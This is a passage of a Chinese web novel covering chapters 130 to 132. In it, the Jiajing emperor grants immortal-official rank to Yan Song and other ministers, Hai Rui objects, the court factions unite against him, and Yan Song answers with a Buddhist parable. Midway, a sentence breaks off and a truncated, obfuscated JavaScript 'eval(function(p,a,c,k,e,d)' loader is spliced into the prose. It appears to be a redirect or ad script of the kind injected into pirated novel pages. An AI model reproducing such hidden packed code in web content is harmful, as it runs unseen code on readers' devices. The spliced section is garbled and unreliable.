虽然敕封了官身,自己随时可以拿捏他们,他们为了官身不丢,也会效忠自己。 可这还不够!那庞大神秘的‘大昊古朝’,最终都能亡于内忧外患,何况是大明? 最重要的是,对于修士来说,官身赐予他们的是仙朝带来的权势地位。 位高权重者,躺在家里就会有源源不断的资源涌向自身,让掌权者不用担心资源的问题就能稳扎稳打,靠着资源堆积也长生可期。 所以官身对他们来说是权势! 有官身,他们不会背叛皇帝,不会背叛王朝,但人心复杂,为官者还有治国的抱负! 正如海瑞,正如高拱,张居正之流,他们修仙之后,想的可不仅仅只是修仙长生。 正如张居正,高拱,现在已经是内阁的一员,权势巅峰的存在,但还在争斗。争斗什么?争斗的是自己的治国理念,政治抱负。 以后修仙之后,他们还会继续。 而想要实现治国抱负和理想,就必须要站在最高处,比如首辅位置,所以就只能努力向上爬。 在未来,权势越高,也就意味着,掌握的资源会越多,所以没有人会让位,然后下位者想上,上位者自然不愿意,于是就会争斗! 而这也是嘉靖希望看到的,若是臣子不再争斗,那仙朝如何发展?仙朝不发展,自己的本命物如何一步步蜕变,如何反哺本命? 自己的修为,又如何被水涨船高? 心 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听到皇上叫自己,严嵩身体一颤,赶紧大声道:“老臣在。” “严嵩,字惟中,江西分宜人氏,才德兼备,学识渊博,历仕有年,功绩卓著……”平淡而熟悉的声音在天地间响彻。 随着声音响起,严嵩发现自己手中木盒中,那份敕书也跟着在他面前展开。 一道金色的流光,从那天穹之上落下,化作洋洋洒洒数百字的敕书凭空呈现而出。 之后,就见那枚大玺缓缓缓缓落在敕书之。 看到这一幕,众人哪里还不明白,这就像是皇上在诏书上盖印章一样的道理。 但他们知道,诏书文字凭空呈现,然后被皇上亲自盖上金色的印章,这就是承认了官身。 “嗡!”跟着就见敕书像是卷轴一般,缓缓合上,而后倏然落下,钻入严嵩的眉心之中。 “轰!”下一刻,严嵩的脑海中仿佛像是炸响一般,冥冥中似是与天地有了某种联系。 当然,他不知道的是,他不是与天地有了联系,而是与本命大明有了联系。 他们更不知道的是,如此天地异象,那是因为帝玺,通过本命大明将他们的意识拉入了本命大明的西苑,玉熙宫旁的小院里,敕封他们。 而在现实中的大明,他们所有人,此刻都紧闭双目,不发一言。 嘉靖对此自然看的一清二楚。 不过此时,他的注意力却不是在本命大明里严嵩等人的意识,而是严嵩等人的识海!对,没错,他可以看到这些人的识海! 这是他没有想到的,而此时严嵩的本命,在他面前,完全就是一览无余! “吼!”一头黑色的恶虎,在仰天咆哮。 这头恶虎的巨大眸子里,闪烁着腥红而贪婪的光芒。 倒是符合恶虎严嵩的形象! “……” 今晚还有更新,今天晚了,这一章没能写完。 第一百三十一章 半路杀出个海瑞,臣请皇上暂缓敕封!众人脸黑!两派联手! “吼!” 正在严嵩识海中咆哮的黑虎,当对上嘉靖的目光后,张大的血盆大口陡然闭上,原本腥红,满是贪婪和凶光的眸子也眨了眨。 而后跟着双眼中的腥红、贪婪和凶光,也陡然间消失不见,瞬间变得黑白分明。 “吼?”黑虎先是一愣,而后又发出一声疑问般的吼声,最后整个虎躯陡然趴伏下来,发出平缓的呜咽之声。 它从这个人的身上,感受到了致命的威胁。 野兽的本能,让它面对比自己强大,且掌握它生死的存在时,选择乖乖的臣服。 这是它的生存之道! “嗡。”这时,只见严嵩的识海中,突然亮起一道金光,继而就见那敕书卷轴缓缓落下,黑色恶虎几乎是本能的一跃而起叼住卷轴。 “哗啦。”将卷轴吐出后,卷轴缓缓拉开。 黑虎看了眼嘉靖,又看了看面前摊开的卷轴,然后抬起前爪,缓缓印了上去。 “哗!”随着它前爪印上敕书,整个识海陡然爆发出璀璨的金色光芒。 卷轴化作一道流光,没入黑虎眉心消失不见。 至此,严嵩的本命,获得了朝廷官身! “这就是本命敕封官身吗?”全程目睹了本命被敕封官身的一幕后,嘉靖心中多了一抹明悟。 本命尊存于严嵩等人的内心渴望! 因此当敕书进入识海后,他们的本命会自然而然的选择接受。 这就好比,朝廷要封某某人的官,对方接旨了就说明同意做官,不接旨就是不同意。 严嵩内心是想要被朝廷敕封仙官官身的,因此他的本命就遵从了他的内心,接旨。 “倒是没想到,我大明恶虎严嵩的本命竟然真的是一只恶虎,而且还是一只黑虎,”自语着,嘉靖严肃的面容微宽,轻笑: “够黑!要不怎么说他是贪官奸佞呢……” 嘉靖确实没有想到,帝玺敕封本命,竟然能够看到臣子的本命物。 这点《帝经·九卷》上并没有说。不过嘉靖倒也不意外,有些东西,并不需要特别详细的标注上去,正如帝玺敕封官身一样。 只要敕封了,自然而然的就能看到了,而且也没有什么需要特别注意的意外,因此这些小事,自然也就不会被记载上去了。 视线从严嵩的识海本命上离开后,嘉靖的目光看向小院中,剩余的其他人。 嗯,距离严嵩被敕封官身后,已经过去好一会了,其他人已经等的有些焦躁了起来。 不会有什么意外吧? 此时,正在焦急等待的严世蕃、徐阶、高拱、张居正和赵贞吉等人都紧张了起来。 虽然理智告诉他们,这种可能微乎其微,皇上既然让他们都来,就不会厚此薄彼,也不会让他们来见证,可他们就是控制不住心里的忐忑。 “爹,感觉如何?”严世蕃见皇上久久不说话,嗯,其实也就是一小会,但在他看来,就是过去了好久,于是忍不住开口询问。 其他人闻言,也都将目光齐刷刷的朝着严嵩看去,就连吕芳、裕王跟景王都是如此。 嗯,他们也在等待着敕封官身呢。 尤其是裕王跟景王,他们没有想到父皇第一个敕封官身之人,竟然是严嵩,而不是他们,难道严嵩比他们这些儿子还要亲吗? 一时间,两兄弟心中都有些怨念,不过他们却不敢表达出来,毕竟父皇行事,何须向他们解释缘由? 当然相比于其他人的焦急等待,此刻已经成功“上岸”的严嵩,面上已经恢复坦然。 嗯,他现在感觉非常的好。 那一瞬间感受到的,与天地产生共鸣,仿佛自己就是整个大明一部分的真切感受,让他的心,有种前所未有的归属感。 这一刻,他心底此前那股,因为没有皇上言明修仙之事的忐忑不安瞬间消失了。 从此以后,我严嵩,就是仙朝的内阁首辅了。 我严家,未来可期! “严世蕃,”心思急转间,严嵩迅速压下心底那激荡的情绪,道:“严肃点,皇上自有安排,切勿在御前失仪!” 严世蕃:“……” 看着老爹严嵩跪在地上,已经笔挺起来的老腰杆,再看那老脸上的满是坦然,一副得失都波澜不惊的模样,小阁老的脸“唰”的黑了下来。 您老当真是跪直了说话不腰疼啊! 您老人家是得到了敕封,有了仙朝的官身,心里踏实了,我可还没得到敕封呢!爹,做人别太自私了,多少为儿子考虑点行不行? 当然,此刻跟小阁老严世蕃一起脸黑的,还有裕王等人,看着严嵩这一副两袖清风,似乎对敕封仙官官身,丝毫不以为意的模样,一个个都觉得这老货,太能装了,严贼,可恨! 景王此时也是不满的看着严嵩。 以前怎么就没发现,稳重的严阁老,还有如此招人恨的一面。 然而感受到周围投来,如刀子一样的目光,严嵩却是丝毫不以为意。 他是在乎这个的人?他要真在乎这个,天下有多少人,背地里骂他,他不早寝食难安了? 再说他严嵩如今是仙朝内阁首辅,稳重了一辈子了,还 不能让老夫稍稍嚣张一些? “严嵩……”就在众人心思各异的时候,嘉靖那平静的声音跟着响起,众人心头陡然一凛,也顾不上严嵩了,各个竖起耳朵听着。 “老臣在。”严嵩顷刻间恢复低调,声音温吞间,再次匍匐在地上,恭敬听旨。 “官身已定,日后长生可期。”随着嘉靖这几句宽慰的话音落下,严嵩佯装的平静,再也绷不住了,当即浑身激动的颤抖道: “老臣,定当竭尽全力,以此潦倒残躯,为我大明仙朝,添砖加瓦,甘死如饴!” “呵,”天地间,响起嘉靖宏大如钟的轻笑,“不必妄自菲薄,好好为大明谋福,日后仙法,定有你一份,仙途亦有你一条……” “老臣,谢皇上隆恩!”得到皇上当着众人面,承诺说日后会给自己赐下仙法,严嵩激动的说话间,牙关都在打颤。 其他人,比如徐阶、高拱等人,听到这里,看向严嵩的目光中,可以说充斥着嫉妒与羡慕。 尤其是徐阶,心中也是悔恨不已。 若是自己早日交换钱财,土地,将所有的士绅大族都卖上一遍给皇上,这首辅之位,说不定也会是自己的,今日第一个敕封官身的就是他。 当然,此时跪在人群中,只有海瑞一个人,始终面色沉凝,虽然仙朝官身,他内心也很渴望,但此刻他心中想的更多的是另外一件事。 仙朝尚未成形,大明内政才刚刚肃清不到一年时间,皇上就敕封官身,是否太操之过急了。 再者说,现在敕封官身,在海瑞看来,除了得到了一个名,给这些人一个心安外,对大明似乎并没有什么好处。 一切,也没有什么改变。 这些人依旧是原来的模样,甚至因为提早确定了未来仙朝的官身,心中没有了压力,会不会又变成原本的模样? 如今有了皇上的肯定,同时也意味着,不论是严党,还是清流,在未来的选择上,多了一条路,会不会引发更大的争斗? 多了一条选择,也就意味着,不再是全力的帮助二王,而演变成合作,因此滋生出私心? 以前,他们只能靠着二王,而二王又代表的是王朝,二王争斗的结果,最终也会导致大明越来越强,蒸蒸日上。 可是以后呢?他们的靠山不光是二王了,他们有了皇上,甚至以后皇上的其他子嗣。 如此以后,跟二王之间,怕是合作谋利要多于孤注一掷,不计报酬的帮助二王了。 如此一来,朝廷就多了很多不确定性。 这种不确定性,可能会拖好不容易割掉烂肉,剜去脓疮,正在新生的大明的后腿。 对于海瑞来说,这种不确定性,只要有一丝的可能,他都不会允许出现。 在他看来,敕封仙官官身,怎么也应该等到大明彻底民富国强,盛世来临后才行。 “徐阶……”就在这时,嘉靖的声音再次响起。 然而就在这时,海瑞知道,自己不能再等了,之前一切太快,他没有反应的余地。 但是现在,他必须要劝谏皇上,先暂缓仙朝官身敕封一事,等到大明彻底富强,不管怎么说也要先将当初的盛世迎来才行。 “皇上,”海瑞当即大声开口,“臣,海瑞斗胆,有一言启奏!” “唰唰唰!”几乎是海瑞声音响起的瞬间,在场所有人的目光齐刷刷的朝他看来。 不知道为什么,所有人听到海瑞的声音,心头下意识的一颤。 海瑞,海刚峰,海笔架,就是个杠头! 这个关键的节骨眼上,突然打断皇上敕封仙官官身,这是要闹哪样? 一旁的徐阶,此刻拳头下意识的攥紧,眼皮阵阵狂跳,不知道为什么,他心中越发的不安。 就连此时已经被敕封完的严嵩,也是不由的心头一紧,脑海中不由的出现之前严世蕃说的,“冲鼠煞北”一事。 眉眼低垂,让人看不清想法。 “刚峰兄!”跪在海瑞身后的王用汲眼皮一跳,赶紧杵着脑袋,压低声轻斥,道:“莫要胡闹,先等皇上敕封完官身之后再说!” 这个时候,他真怕海瑞说出什么话来,惹怒了皇上,从而影响到众人受封仙官。 如此一来,岂不是要得罪死清流和严党,甚至还有司礼监,嗯,二位王爷倒是不至于,因为不管怎么变故,他们最多是等一等。 可即便如此,要是因为海瑞的奏言,打扰了众人的仙官敕封,凭空多出些许不确定来,那可真就是得罪死人了。 虽然如今的朝堂,清流和严党都被清洗了一遍,内阁诸老都回归了本来面目,不结党不营私,就是内阁本分职责。 倒是不用担心海瑞被大面积官场针对。 可不要忘了,现如今朝中新晋官员都在观望呢,随时准备站队,拜访严党和清流。 可以说,只要诸老还在内阁,他们随时可以培养出新的一批班底来。 那时候,海瑞要面对是什么? 王用汲是真的替这个好友担心,希望他少树敌。以后仙朝路漫漫,仙途恒久远,何必呢? 但王用汲不会懂,海瑞心中太感激皇上了。他是真的将皇上当做君父的。 也是如此,他不愿意君父的江山,未来的不世仙朝,在发展最初,因为没必要的事情,从而被拖慢步伐,更不希望因此而有分毫的不确定。 所以,海瑞宁愿敕封官身缓一缓,先等大明朝土地改制变法彻底落实。 屯兵兴农的国策,完全成熟,民富国强,彻底稳定后,再做这些锦上添花的封赏。 嘉靖的意识看到海瑞这个时候出面,也是好奇,海瑞这个时候要说什么。 不过他知道,海瑞既然开口了,肯定是要说话的,而且他也想听听海瑞想说什么。 “说。”想及此处,嘉靖平缓开口。 听到皇上让海瑞说话,徐阶心头一叹,不过眼神中却有着,对海瑞浓浓的不满之色。 “吾皇圣明,垂怜臣子。”海瑞深吸一口气,先是夸赞了一句,嗯,这种夸赞他已经说习惯了,之前在大同每天隔空上奏都会说。 “臣以为现在并不是敕封仙朝仙官官身之正确时机,”海瑞顿了顿又道: “因此,臣恳请皇上,暂缓敕封,并收回严阁老的仙官官身,日后再行敕封。” “轰!” 此话一出,听到众人耳朵里,丝毫不亚于之前,他们听到敕封仙官时耳边那一道炸雷。 不同于之前,炸雷之后是惊喜。 这一次,炸雷之后,是满目骇然与不可思议之色。一个个瞪着海瑞,竟是在短时间内,陷入了呆滞中,几乎要以为自己听错了。 “吼!”严嵩豁然回头,看向海瑞,同时他的本命中,黑虎发出咆哮,双眼再次腥红一片。 徐阶也是在反应过来后,双眼倏然的看向海瑞,眸子里寒光爆闪。 就连张居正、赵贞吉,以及有些欣赏海瑞的高拱,也都在这一刻神情冷了下来。 更不用说严世蕃了,此刻听到海瑞说,不光要暂缓仙官官身的敕封,还要收回老爹严嵩的官身,这是要断他们的仙途啊! 一时间,严世蕃双眼中的杀意,几乎毫不掩饰的暴露了出来。 裕王、景王,此刻也是瞪大了眼,惊疑不定的看着海瑞,像是在看一个怪物。 嗯,他们对海瑞也有些不满,但也没有像内阁众人那般,几乎是瞬间冷脸。 他们心中也很想被封仙王,听到敕封官身,也很激动,但却并没有像严嵩等人那么视之如生命一般,他们的身份,日后注定不会差。 仙朝迟早会正式建立,他们的“仙王”身份,那也是板上钉钉的。 不过此时,他们只觉得海瑞脑子有问题。 这是真不怕得罪人啊?不是说此人并不是迂腐之人吗?这么当众得罪人的事也敢干? 倒是一旁的吕芳,收起一开始的惊讶后,很快便对此一副毫不意外的神情。这些人不知道的是,海瑞干过的疯事可不少。 之前那篇“治安疏”,几乎是等同于指着主子的鼻子在骂人了。 要不是主子提前知晓,直接抄了一份,让人送去东南,把这个海瑞给震住,怕是那份足以让大明整个官场震动的“治安疏”就要流出去了。 那时候,他们才会知道,海瑞有多疯。 至于现在,当众得罪人的事,海瑞会在乎吗?他就不是个怕得罪人的人! 他是个孤臣,他是主子手里的剑,所思所想,只为主子和大明着想,其他人?呵! 此时,小院里的气氛,陷入了一种诡异的安静之中。 不过奇怪的是,司礼监众人,比如陈洪等人,此刻都是对海瑞这番话,没太大的反应。 对于陈洪等人来说,他们是皇上的家奴,就算是仙朝,他们也是仙家的家奴。 就算这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“如今仙朝尚未确立,且大明万事待兴,正需朝野上下一心,方能奠定千秋基业之时。” “朝廷内外,吏治肃清,如今各有贤士,皆怀报国之心。”海瑞语气微微一顿,“二王贤德,朝野共仰,朝臣亦尽心辅佐。” “今上欲敕封仙官官身,以昭示天意,激励朝纲,此乃圣恩浩荡之举。” “朝中党派虽有分歧,然皆以储君为重,各思辅弼,以期将来有所建树。” “若此时先行封赏,则恐诸臣易生怠惰之心,以为功名已定,不再如前般勤勉。” 这番话说的比较委婉的。 意思很明确了,以前清流和严党,全力辅佐二王是为了确保仙途可期,现在有了仙官官身,说明皇上已经让他们踏足仙途了。 那二王或许在日后就不是他们的选择了。 毕竟以后日子还长,要是再有了新的皇子,谁知道储君之位会落到谁头上? 如此一来,那两派都会思变了。 这话一出,严嵩眼皮轻轻一抬,徐阶眼底闪过莫名的光泽。 裕王跟景王也是眉头微微皱了起来。 在场的都是聪明人,只需要稍稍一点都能明白。 顿时,场中的气氛变了。这种微妙的氛围,主要萦绕在二王根麾下两派之间。 不过海瑞这话一出,倒是助了嘉靖一把,提前让二王跟麾下两派之人不再拧成一股绳。想及此处,嘉靖看着海瑞,眼底有满意之色浮现。 嗯,不愧是朕的利剑! 嘉靖自然知道,这肯定不是海瑞的本意,但这不重要,因为此举暗合他的目的。 现在海瑞把话稍微点出来,那二王根麾下两派原本紧成的一股绳,这就要松一松了。 嗯,挺好,哪能让你们拧成一股绳呢?需要的时候,紧一紧,不需要的时候就该松松。 海瑞的声音,还在响起。 “昔汉武帝设五经博士,延揽天下英才,皆因循序渐进,终成盛世。臣以为,应待大明盛世来临,国富民强,再行铸就仙朝。” “固臣以为,待到仙朝法度完备,根基稳固之时,再行仙官官身之敕封,如此则可激励群臣,更效忠心,亦不失为美谈。” “如此,按部就班,循序渐进方为稳妥。” 一番话,都是海瑞的肺腑之言,说的其实很明白了,海瑞就是担心二王根麾下分裂。 从而彼此双方会从原本的孤注一掷的拧成一股绳,互相虽然有争斗,但最终结果是大明好。 可是这么一来,彼此间不再纯粹,这股绳会变松,中间会掺杂利益,结果怕谁拖大明步伐。 “简直一派胡言,危言耸听!”这时,严世蕃忍不住开口了,当场驳斥。 “皇恩浩荡,我等只会尽心辅佐二位殿下,为我大明鞠躬尽瘁死而后已!” “海部堂,你未免以小人之心度君子之腹了,”说着,严世蕃冷笑道:“难道,这大明朝,就你海瑞一人在忧国忧民?” “这大明朝,独你一人是忠臣?良臣,贤臣?我们这些人,都是奸佞,蠹虫不成?” 严世蕃话刚落,赵贞吉也跟着开口,“海部堂,同朝为官,何故如此恶意揣测我等?” “海部堂,二位殿下协理内阁,这是皇上的旨意,你莫不是在质疑皇上?”张居正的话不多,但言辞却很锋利,毒辣。 “海部堂,二位殿下与我们,对皇上,对大明忠心,日月可鉴,此言未免太寒了人心。”高拱也在这个时候,表明了自己的立场。 一时间,在严世蕃开火后,高拱、张居正、赵贞吉齐齐朝着海瑞发难。 这一刻,严党和清流,凝成了一股绳! 要联手对付海瑞了,毕竟事关仙官官身,这半路杀出来的海瑞,简直就是搅屎棍。 这简直就是损人不利己! 是不是脑子有问题,仙官官身你也有的好吗?让皇上暂缓,对你有什么好处? 真当这大明朝,就你海瑞一个忠臣了?谁说得了官身,就不能当忠臣了? 你哪只眼睛,看到我们多了一种选择之后,就不会跟二王拧成一股绳了? “我就知道,来了!两派联手了!” 王用汲此时也已经从海瑞那番话中回过神,看到两派竟然联手炮轰海瑞后,心头顿时惊呼要遭,同时目光也有些幽怨的看着这位好友。 仙朝官身,我也想要啊! 嘉靖看着小院里的一幕,倒也不急着开口了,而是要看海瑞这个孤臣怎么应付。 好久没看臣 子“互殴”了,算是解解闷?嗯,这一次算是三派互殴了吧。海瑞是孤臣,就他一个人,也算是自成一派了。 海瑞战斗力不低,但两派联手,威力也不俗。倒算是巅峰一战了。 “……” 第一百三十二章 严嵩出手,海瑞败,封仙官,诸臣本命,裕王?大明色魔! 眼看严党和清流全都对自己怒目而视,海瑞那张黝黑刚毅的面上,始终没有半分变化。 他甚至连看都没有看众人一眼,腰背挺得笔直,抬起双臂,拱手道:“海瑞从未将自己视作忠臣、贤臣、良臣,海瑞只想做直臣。” “海瑞今日也在这敕封官身之列,海瑞亦是得益者,海瑞所言皆是为了大明。” “如今的大明,正处于发展的关键阶段,海瑞只希望皇上可以暂缓仙朝官员官身敕封。只因为眼下官员敕封并未到最佳时机。” “哼!”听到海瑞这番话,严世蕃冷笑着再次开口,怒声道:“你大言不惭!” “说来说去,你就是觉得这大明朝,除了你海瑞,人人皆有私心,人人都是奸佞!” “哼,”赵贞吉也跟着冷声道:“海部堂当真是傲慢啊,九州万方背在你身上了不成?” “海部堂,如今这内阁众人,能站在这里的,全都是经过皇上考验之人,这里没有奸佞,收起你那份,世人皆醉我独醒的傲慢吧!” 高拱也是被海瑞的态度激的有些动怒。这个海瑞,官是好官,可太不会做人了。 如此损人不利己,何苦来哉,疯子! “海部堂,朝堂之上,你我皆是同僚,切勿凭空捏造揣测,挑拨离间。”张居正冷淡道:“敕封仙官官身,是万寿帝君的仁慈!” “你又何故扫了皇上的兴,扫了大家的兴。” 跪在海瑞身后的王用汲把场中的利害,看的分明,心中不由暗叹。 海瑞只要一出口,便是群起而攻。 身为挚友,海瑞什么心思他还能不知道吗?海瑞是绝对没有私心的。 这段时日,自从被裕王拉拢赏识,入了裕王府,进入裕王一脉的核心圈层后,很多事情,他早已是看的分明。 在皇上言明仙法之事前,众人始终都是凡人,哪怕能看到仙法存在,依旧是可望不可及,可是众人年龄都渐大了。 凡人路眼看就要走到了尽头。 这期间,他们只能等,靠着裕王跟景王赐下灵物,滋养身体,拖到仙法赐下的那天。 所以,不论是严党还是清流,都只能效忠于二王,死死靠着二王。 二王在皇上的意志允许下争斗,结果是王朝更好,正如现在,都开始谋划他国了。 一旦给了众人选择,那两派跟二王之间可就不那紧密了,未来很长,选择会更多。 海瑞是想的是等大明从凡人完全蜕变后再行敕封,可此举无疑是在断人仙路。 自然会遭到群起而攻了! 对错,本就是看谁站在了利益的反面,海瑞与利益为敌,自然就是与所有人为敌。 “若诸位都是为大明好,那就拿出诚意来,向皇上证明,证明诸位不会为了这点利益,而不顾大明可能会面临的风险。” “诸位不妨就此放弃仙官官身,待到大明盛世来临,再做仙朝打算!”海瑞语气依旧平静,可话却让人一阵膈应和无语。 这点利益?说的轻巧! 不过海瑞这话,也确实让严世蕃等人当场噎住,这算是反将了一军了。 海瑞的意思很明显,既然都是为了大明好,那就别让大明为此而承担丁点风险。 “你装什么蒜!”被反将了一军的小阁老有些恼羞成怒的意思,怒声道:“你要真大公无私,为何今日会来此?还拿着敕书!” “说的冠冕堂皇,不过是知道皇上仁慈!”说着,严世蕃还朝着天穹拱手以示尊敬,“君无戏言,皇上已经敕封了官身,你现在让皇上收回成命,你这就是在欺君!” “口口声声为皇上好,但却只管自己。” “哈啊,”说着,严世蕃冷笑道:“好算计啊,海部堂!你这是在将皇上的军。” “若是皇上收回成命,届时众人如何看待皇上?朝令夕改?” “若是皇上不听信你的鬼话,呵呵,你海瑞留了个直臣直谏的好名声,皇上留了污名!” “然后,你海瑞还因为直言直谏,皇上还不得不为你也进行敕封官身,当真是好算计!” 不得不说,严世蕃确实是懂得避重就轻的。 他不正面回答海瑞的话,而是开始泼脏水,恶意揣测了,将矛盾直接转移到海瑞在针对皇上,算计皇上这一面。 如此一来,海瑞不管怎么说,都逃不开一个为了自己的名声,不顾皇上颜面的骂名。 嗯,皇上听了会怎么想? 跪在严世蕃身前的高拱,听完这番避重就轻,祸水东引的话,不由回头朝着严世蕃看去。 嗯,这一刻的严世蕃在他眼里,那真是前所未有的顺眼。 果然,当你觉得一个人讨厌的时候,若是出现一个更讨厌的人,就会发现前者与之相比起来,那都算是顺眼的了。 张居正跟赵贞吉,此时也是不着痕迹的瞥了眼严世蕃,有时候觉得无赖也有无赖的好。 然而,海瑞又岂是那么容易被严世蕃给震住的人。 “臣海瑞,”就在这时,海瑞面容严肃的摘下自己头上的乌纱帽,沉声道:“在此发下宏愿,大明一日不入仙朝,一日不受仙禄!” “小阁老,内阁诸 位,”说着,海瑞甚至都没去看严世蕃,只是平静道:“若真为了大明,为了皇上好,便与海瑞一起发下宏愿。” “唰!”这一刻,内阁所有人的脸都在这一刻黑了下来。 疯子,简直就是不可理喻的疯子! 你这么害我们,到底是为了什么,我们到底哪里得罪你了?! 严世蕃、高拱、张居正甚至是赵贞吉等人,此刻都眼神愤恨的看着海瑞。 至此,海瑞一个人,终于干翻了内阁。直接来一手发下大宏愿,大明一日不入仙朝,他一日不受仙禄,把所有人逼到了绝境。 既然都是忠臣,都为了大明好,那好,就跟我海瑞一起,发下大宏愿吧。 否则,你们都是有私心! 一时间,小院里的气氛陡然变得尴尬。 司礼监一旁,陈洪看着那跪在司礼监和内阁两派中间,腰背直挺的海瑞,也是佩服不已。 “咱家没有佩服过什么人,你海刚峰是一个,咱家愿称你为我大明第一峰!”陈洪想着,那双狭长的眸子,看着内阁众人冷笑连连。 “活该!真是好死啊!” “一个个不是神气吗,不是看不起咱家吗?终于有人能治你们了,再牛啊……” 吕芳看了看海瑞,又看了看内阁众人,眉眼低垂,不知道在想什么。 裕王跟景王,此时也已经回过味来了。 看着内阁和清流众人,心中也有了一些别样的心思,海瑞的意思说的并不明显,但其中的意思他们怎么会不明白。 得到仙官官身的内阁众人,还会死心塌地,将所有希望,寄托于自己二人身上吗? 一时间,二人突然也不想让内阁众人被敕封仙官了。 此刻场中唯一能心绪安宁的,只有三个人,吕芳、清风和陆炳三人。 这三人都得到了仙法,可以说是早已经‘上岸’,对这些并不在意。 尤其是陆炳,今年年底,最晚明年上旬,他就会成为继吕芳之后的第二个修仙者。不管什么时候,大明仙官官身都会有他一个。 他跟这些人所处已经不是一个层面,自然不会再去与这些人有一时之争了。 “呵,”嘉靖见此,脸上笑容止不住的浮现而出,“好,好啊,吵架好,呵呵……”嘉靖看着这其乐融融的一幕,心中很是宽慰。 想着,嘉靖又将目光看向严嵩跟徐阶。陷入僵局,该轮到这二人出面了。 果然,这时徐阶缓缓开口了。 “海瑞担心,不无道理,”徐阶语气平缓,说着不着痕迹的朝着严嵩的方向撇了一眼,“既是为了大明,我等自当做出一时牺牲。” “既如此,我徐阶便也在此发下宏愿,”说着,直接摘下了头上的乌纱帽,“大明一日不入仙朝,我便一日不受仙禄。” 说话间,看了眼张居正,道:“为官者,思君所思,忧国忧民,但有纰漏,都要谨慎对待,雷霆雨露皆君恩,皇上赏赐,臣子拒绝,这是罪,还请皇上降罪……” 说着,脑袋直接杵在了地上。 张居正看着‘老师’徐阶的举动,眼中有思索之色浮动,而后深吸一口气,道:“既如此,那我张居正,也甘愿发下宏愿。” 说着,也摘下了自己的乌纱帽。 之后,高拱和赵贞吉,也在这一刻齐齐摘下了乌纱帽,脑袋杵在地上,齐声道:“臣等辜负皇恩,臣等有罪,请皇上降罪!” “刚峰兄……”见此,王用汲看着海瑞的背影,叹了口气,也摘下了自己的乌纱帽。 徐阶不愧是徐阶,姜还是老的辣,直接以退为进,以柔克刚,再次反将海瑞一军。 你不是标榜,担心我们有私心吗?那我们便如了你海瑞的愿,把原本好好的一件事,弄得扫兴,我们拒绝皇上,辜负皇上好意。 此招一出,就是在告诉海瑞,我们从未有私心,反倒是有些人,恶意揣测,挑拨离间。活活把一件皆大欢喜的事,弄恶心。 无形中,将海瑞推到了所有人的对立面,其中还包括皇上。 然而海瑞会在乎吗?不。 他不在乎背负怎样的骂名,他只知道大明必须要稳步发展,为此不能出现一丝一毫的纰漏,为此被所有人厌弃又有什么关系? 这是他的治国理念,至死不渝! “呵,呵……”这时,严嵩开口了,他的笑容中,充满了慈祥与和善。而随着严嵩开口,小院里凝重的气氛也跟着一松。 不自觉的,众人都向这位内阁首辅,投去了期待的目光。徐阶缓缓抬了抬头,眉眼低垂,看不清模样,但他心里却是丝毫不慌。 他对严嵩,很有信心! 这次,也是他跟严嵩之间的一次默契配合,他负责把场面推到紧张的极致。 这个时候,严嵩再站出来打圆场。 海瑞是很强,太岳他们对付这样的直臣,终究是有些不够了,需要他们亲自出手。 爹啊,全看你的了!严世蕃见老爹终于出手了,心中莫名的突然一松。 仿佛只要老爹出手,就能摆平一切。 此时,就连高拱,张居正和赵贞吉,也都是微吸一口气,等待着严嵩出手。 这 位内阁首辅,深谋远虑的老狐狸,他终于出手了。 他们都能感觉到,此刻气氛被推到了一个极致的尴尬境地。 若是不及时化解的话,或许会是皇上的雷霆之怒,迁怒海瑞倒也算了,迁怒他们,让今天的官身敕封作罢,那可就无妄之灾了。 “近日,臣闲来时读了些佛经……”严嵩声音温吞,如潺潺流水般,娓娓道来。 “说有一位名叫‘广施王’的国王,他以无比的慈悲与智慧闻名于世。” 严嵩说的慢,众人都竖起耳朵听了起来。 “一次,国中遭遇前所未有的大旱,粮食歉收,百姓生活困苦,甚至出现了易子而食的惨状。广施王心如刀绞,决心以己之力解救苍生。于是,他宣布了一个惊人的决定。” “他说:我作为你们的国王,愿以我的头颅作为祭品,祈求上天降雨,拯救万民于水火之中。”听到这里,众人都微微点头。为这位名叫‘广施王’的国王表示肯定。 严嵩则没有理会众人,只是目光深邃,仿佛看到了这位国王一般,绘声绘色道: “此言一出,举国震惊。群臣与百姓无不痛哭流涕,劝阻国王不可行此极端之举。” “然而,广施王心意已决,他说:我身为国王,当以国家与百姓为重。若我之一头能换来苍生之安宁,何惜之有?” “正当他准备自刎之际,天空中突然乌云密布,雷声隆隆,紧接着倾盆大雨从天而降,干旱瞬间得以缓解。” “百姓们欢呼雀跃,感激涕零,纷纷称赞广施王的伟大与无私。” “而广施王则借此机会教导众人…”说到这里,严嵩回过神,回首看了眼众人,露出慈祥的笑容,道:“他说,真正的智慧与慈悲,在于预见未来之难,提前为之准备,并勇于承担。” “我虽未真的牺牲头颅,但我的决心与行动,已足以感动天地,化解危机。” 说完,严嵩又回身,看向天穹道:“常言道,知子莫若父,子知父亦是如此。” “皇上是大明的君父,我等臣子也当了解君父所思所想,明白君父此举其中深意。” “正如广施王以非凡的勇气和智慧,提前预见并勇敢应对国家的危机,皇上提前敕封仙官官身,亦是出于对国家未来的深远考虑。” “圣人君父以无我之心,行利他之事。” “这是对臣子的信任与激励,我等岂能辜负这份信任?” 听到这里,众人都是微微点头。 看向海瑞的时候,纷纷露出鄙夷之光。 就你是忠臣,就你想的远?哼,不过是拘泥眼前,你还能目光长远过皇上?皇上这么做,说明信任我们,你反驳?你比皇上还要圣明? 严嵩不理会众人想法,说完佛经故事后,又缓声道:“当然,刚峰忧虑亦是为君为父深忧熟虑,这何尝不是对君父信任的反哺?呵呵。” 严嵩又看向海瑞,笑的越发慈祥。 笑容中,满满的都是对后辈的包容,以及身为首辅大臣的广阔胸怀与魄力。 看着海瑞,像是在看一个不懂事的孩子。 “人心嘛,易思变,是常情…我自己都不相信自己面对日后海量的修仙资源能把持住不动凡心,呵呵……”说着,哈哈笑了起来。 清流一方心中诡异,不过却是很配合的面露笑容,淡淡的轻笑出声,冲淡紧张氛围。 这个时候,他们要一致对外,甘愿被首辅统领。 嗯,实在是没办法了,海瑞这混蛋太疯了。 